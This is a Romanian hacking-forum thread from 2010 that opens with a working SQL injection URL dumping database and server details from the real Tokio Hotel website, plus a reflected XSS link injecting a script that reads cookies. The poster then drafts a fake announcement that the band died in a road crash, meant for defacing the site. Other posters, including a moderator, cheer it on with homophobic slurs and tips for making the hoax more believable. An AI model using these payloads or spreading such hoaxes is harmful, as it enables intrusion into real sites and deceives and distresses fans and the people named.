[SQLi+XSS] TokioHotel.com

dae mien · 03-20-2010, 11:23 PM

SQL Injection Syntax:

Code:

http://www.tokiohotel.com/3/specials/en/wbmw_contest/video.php?id=803+and+1=NULL+union+select+1,2,concat%280x5b,0x4d,0x61,0x63,0x68,0x69,0x6e,0x65,0x3a,0x20,@@version_compile_machine,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x4f,0x53,0x20,0x3a,0x20,@@version_compile_os,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x44,0x42,0x20,0x56,0x65,0x72,0x73,0x69,0x6f,0x6e,0x3a,0x20,0x20,@@version,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x56,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x43,0x6f,0x6d,0x6d,0x65,0x6e,0x74,0x3a,0x20,@@version_comment,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x53,0x79,0x73,0x74,0x65,0x6d,0x20,0x55,0x73,0x65,0x72,0x3a,0x20,system_user%28%29,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x48,0x6f,0x73,0x74,0x6e,0x61,0x6d,0x65,0x3a,0x20,@@hostname,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x44,0x61,0x74,0x61,0x44,0x69,0x72,0x3a,0x20,@@datadir,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x42,0x61,0x73,0x65,0x64,0x69,0x72,0x3a,0x20,@@basedir,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x74,0x6d,0x70,0x20,0x44,0x69,0x72,0x3a,0x20,@@tmpdir,0x20,0x5d,0x20,0x2d2d,0x2d,0x20,0x5b,0x20,0x44,0x61,0x74,0x61,0x62,0x61,0x73,0x65,0x3a,0x20,database%28%29,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x53,0x74,0x6f,0x72,0x61,0x67,0x65,0x20,0x45,0x6e,0x67,0x69,0x6e,0x65,0x3a,0x20,@@storage_engine,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x53,0x51,0x4c,0x20,0x57,0x61,0x72,0x6e,0x69,0x6e,0x67,0x73,0x3a,0x20,@@sql_warnings,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x53,0x65,0x72,0x76,0x65,0x72,0x20,0x49,0x44,0x3a,0x20,@@server_id,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x4c,0x69,0x63,0x65,0x6e,0x73,0x65,0x3a,0x20,@@license,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x53,0x65,0x63,0x75,0x72,0x65,0x20,0x41,0x75,0x74,0x68,0x3a,0x20,@@secure_auth,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x45,0x78,0x70,0x69,0x72,0x65,0x20,0x4c,0x6f,0x67,0x73,0x20,0x44,0x61,0x79,0x73,0x3a,0x20,@@expire_logs_days,0x20,0x5d,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x4c,0x6f,0x67,0x20,0x57,0x61,0x72,0x6e,0x69,0x6e,0x67,0x73,0x3a,0x20,@@log_warnings,0x20,0x5d,0x20,0x20,0x20,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x53,0x79,0x73,0x74,0x65,0x6d,0x20,0x54,0x69,0x6d,0x65,0x20,0x5a,0x6f,0x6e,0x65,0x3a,0x20,@@system_time_zone,0x5d,0x20,0x2d,0x2d,0x2d,0x2d,0x2d,0x20,0x5b,0x20,0x54,0x69,0x6d,0x65,0x20,0x5a,0x6f,0x6e,0x65,0x3a,0x20,@@time_zone,0x20,0x5d%29,4,concat%280x54,0x6f,0x6b,0x69,0x6f,0x20,0x48,0x6f,0x74,0x65,0x6c,0x20,0x3c,0x33,0x20,0x64,0x61,0x65,0x6d,0x69,0x65,0x6e,0x20,0x21,0x3d,0x20,0x45,0x4d,0x4f%29,6,7,concat%280x54,0x41,0x42,0x45,0x4c,0x20,0x44,0x49,0x4e,0x20,0x44,0x42,0x20,0x3d,0x3d,0x3d,0x3e,0x20,0x5b,0x20,table_name,0x20,0x5d%29,9,10,11,12,13+from+information_schema.tables+where+table_schema=database%28%29--

Cross Site Scripting:

Code:

http://www.tokiohotel.com/3/specials/en/wbmw_contest/video.php?id=673&lang=de&start=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&order=rand&approved=yes&dir=desc&limit=10

Ma gandeam asa .. ce ar fi daca s-ar posta undeva la vedere pe index un anunt ca homosexualii astia au murit intr-un tragic accident de circulatie in timp ce .. mergeau intr-un turneu , si ca n-a mai ramas nimic din frezele lor trifazate !?
RIP T.H. !!!!
.................................................. juuuuust a thought! ;)

ANdreicj · 03-20-2010, 11:51 PM

Felicitari ! _|_ TokioHotel ..

zippy · 03-20-2010, 11:57 PM

Astia sunt Poponauti rau

)

Daca le dai deface mai mor catev sute de emokisti=))

Mosad · 03-21-2010, 12:00 AM

muie lor,bine le-ai facut

dae mien · 03-21-2010, 12:35 AM

Quote:

Dear fans around the world

With great sadness in our souls and with tears in our eyes destiny has given us this difficult debt
to tell that Tokio Hotel band has experienced a tragic accident on the night of March 20 at 2:30 . The band bus was hit in the side of a truck that did not give priority when meeting a crossroad. The collision had terrible consequences, 3 band members passing away just after the impact (Bill Kaulitz, Kaulitz Tom, Georg Listing) and Gustav Schafer was transported by emergency in state of coma at the hospital. The driver and also band impresario died in this tragic road accidet.
Right now we do not have to many details about what exactly happened but we will keep you informed as soon as we have fresh news.
Currently the band Tokio Hotel has ceased to exist.
We will always love you and we will not forget what you meant for us.
EMO untill death and beyond it!
RIP Tokio Hotel

Cine da o mana de ajutor la spelling si completare text ? cat mai tragic ...

Mosad · 03-21-2010, 12:49 AM

zi si tu ca i-au desfigurat,arata ca niste papusi voodoo rupte

)

zippy · 03-21-2010, 12:50 AM

Nu cred ca mai este nevoie de vreo completare

)

Clar si la subiect

)=)))

dae mien · 03-21-2010, 12:56 AM

ideea era sa imi spuneti si daca sunt greseli gramaticale.. e ora 4 dimineata va da-ti seama cat de lucid sunt acum..

Lauru · 03-21-2010, 06:51 AM

puneti si o imagine oarecare si spuneti ca ati atasat o imagine care poate avea un impact emotional foarte puternic asupra fanilor:

edit: ca sa pareti mai credibili va sugerez sa dati vestea ca au murit decat vreo 2 dintre ei..
_|_ T.H

begood · 03-21-2010, 07:05 AM

=))))))))))))
papusi voodoo rupte =)))

03-20-2010, 11:57 PM	#3 (permalink)
zippy Registered Users Bautor de vodka Join Date: May 2008 Posts: 573 Rep Power: 3	Astia sunt Poponauti rau ) Daca le dai deface mai mor catev sute de emokisti=)) __________________ FTW!

03-21-2010, 12:00 AM	#4 (permalink)
Mosad [pr0st] Bautor de vodka Join Date: Mar 2008 Location: Adgjmptw0 Posts: 512 Rep Power: 3	muie lor,bine le-ai facut __________________ °«¿»°

03-21-2010, 12:49 AM	#6 (permalink)
Mosad [pr0st] Bautor de vodka Join Date: Mar 2008 Location: Adgjmptw0 Posts: 512 Rep Power: 3	zi si tu ca i-au desfigurat,arata ca niste papusi voodoo rupte ) __________________ °«¿»°

03-21-2010, 12:50 AM	#7 (permalink)
zippy Registered Users Bautor de vodka Join Date: May 2008 Posts: 573 Rep Power: 3	Nu cred ca mai este nevoie de vreo completare ) Clar si la subiect )=))) __________________ FTW!

03-21-2010, 06:51 AM	#9 (permalink)
Lauru Registered user Bautor de ceai Join Date: Aug 2009 Posts: 22 Rep Power: 0	puneti si o imagine oarecare si spuneti ca ati atasat o imagine care poate avea un impact emotional foarte puternic asupra fanilor: edit: ca sa pareti mai credibili va sugerez sa dati vestea ca au murit decat vreo 2 dintre ei.. _\|_ T.H

Last edited by Lauru; 03-21-2010 at 06:53 AM.

03-20-2010, 11:51 PM	#2 (permalink)
ANdreicj Registered user Bautor de gin Join Date: Jan 2010 Posts: 248 Rep Power: 1	Felicitari ! _\|_ TokioHotel ..

03-21-2010, 12:56 AM	#8 (permalink)
dae mien Registered user Bautor de vin Join Date: Feb 2010 Posts: 89 Rep Power: 1	ideea era sa imi spuneti si daca sunt greseli gramaticale.. e ora 4 dimineata va da-ti seama cat de lucid sunt acum..

03-21-2010, 07:05 AM	#10 (permalink)
begood Moderator Cultul betivilor Join Date: Jun 2008 Posts: 2,634 Rep Power: 5	=)))))))))))) papusi voodoo rupte =)))